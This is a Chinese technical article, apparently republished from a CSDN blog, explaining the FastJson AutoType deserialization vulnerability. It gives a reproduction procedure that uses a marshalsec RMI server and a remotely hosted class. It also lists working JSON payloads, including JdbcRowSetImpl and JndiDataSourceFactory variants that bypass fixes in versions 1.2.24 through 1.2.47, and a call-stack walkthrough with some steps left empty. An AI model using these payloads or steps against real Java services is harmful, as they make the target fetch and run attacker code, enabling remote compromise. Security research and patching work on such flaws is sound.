问小白 wenxiaobai
资讯
历史
科技
环境与自然
成长
游戏
财经
文学与艺术
美食
健康
家居
文化
情感
汽车
三农
军事
旅行
运动
教育
生活
星座命理

FastJson安全漏洞详解:从原理到调用栈分析

创作时间:
作者:
@小白创作中心

FastJson安全漏洞详解:从原理到调用栈分析

引用
CSDN
1.
https://blog.csdn.net/xlsj228/article/details/122292956

Fastjson是阿里巴巴开源的Java库,用于将Java对象转换为JSON字符串,以及将JSON字符串转换为Java对象。这个库的一个关键特性是它的反序列化能力,即将JSON字符串转换回Java对象。

Fastjson介绍

Fastjson引入了AutoType,即在序列化的时候使用@type字段,标注了类对应的原始类型,方便在反序列化的时候定位到具体类型。当我们要对他进行序列化的时候,fastjson会扫描其中的getter方法,即找到getName和getFruit,这时候就会将name和fruit两个字段的值序列化到JSON字符串中。

这个特性也带来了安全风险,特别是在Fastjson版本1.2.24及之前,存在一个反序列化漏洞,允许攻击者执行远程代码。Fastjson在反序列化时,会读取JSON中的@type字段来确定对象的类型,并调用相应类的setter方法。这个过程中,如果@type被恶意构造,攻击者可以指定任意类库,通过精心构造的JSON字符串,触发恶意行为。

Fastjson<=1.2.24

Fastjson(v1.2.25之前)的AutoType是默认开启的,也没有什么限制。可以利用autoType这个特性,自己构造一个JSON字符串,并且使用@type指定一个自己想要使用的攻击类库。比如利用com.sun.rowset.JdbcRowSetImpl这个类的dataSourceName传入一个rmi的源。

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:port/Exploit","autoCommit":true}

复现方式

首先创建一个远程加载的类:

启动web服务,这样访问http://IP1:3333/MyTest.class就可以访问到class文件。然后我们借助marshalsec启动一个RMI服务器,监听9999端口,并制定加载远程类MyTest.class:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://IP1:3333/#MyTest" 9999

最后传入:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://IP2:9999/Exploit","autoCommit":true}

Fastjson调用栈

Exploit小结:

来源于  https://github.com/shengqi158/fastjson-remote-code-execute-poc
1.2.24
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true}}
未知版本(1.2.24-41之间)
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
1.2.41
{"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
1.2.42
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true};
1.2.43
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true]}
1.2.45
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}
1.2.47
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}}

Fastjson=1.2.24调试

  1. class JSON类
    parse(String text)如下

  2. class DefaultJSONParser类
    当为{时,token=12
    token=12,继续parseObject
    来到parseObject(Map object, Object fieldName)
    这里有一个 JSONLexerBase.scanSymbol,作用是找一对“”之间的内容
    第一对“”里就是“@value”,判断key = @type继续走

  3. class TypeUtils类

  1. class DefaultJSONParser类

  2. class ParserConfig类

  1. 返回之后继续来到class DefaultJSONParser,执行deserializer.deserialze(this, clazz, fieldName);
    然后来到class JavaBeanDeserializer

  2. 继续往下走,来到 class JSONScanner

  3. JavaBeanDeserializer类

  4. FieldDeserializer类
    反射调用
    后面就是JdbcRowSetImpl正常流程了,见JNDI注入



© 2023 北京元石科技有限公司 ◎ 京公网安备 11010802042949号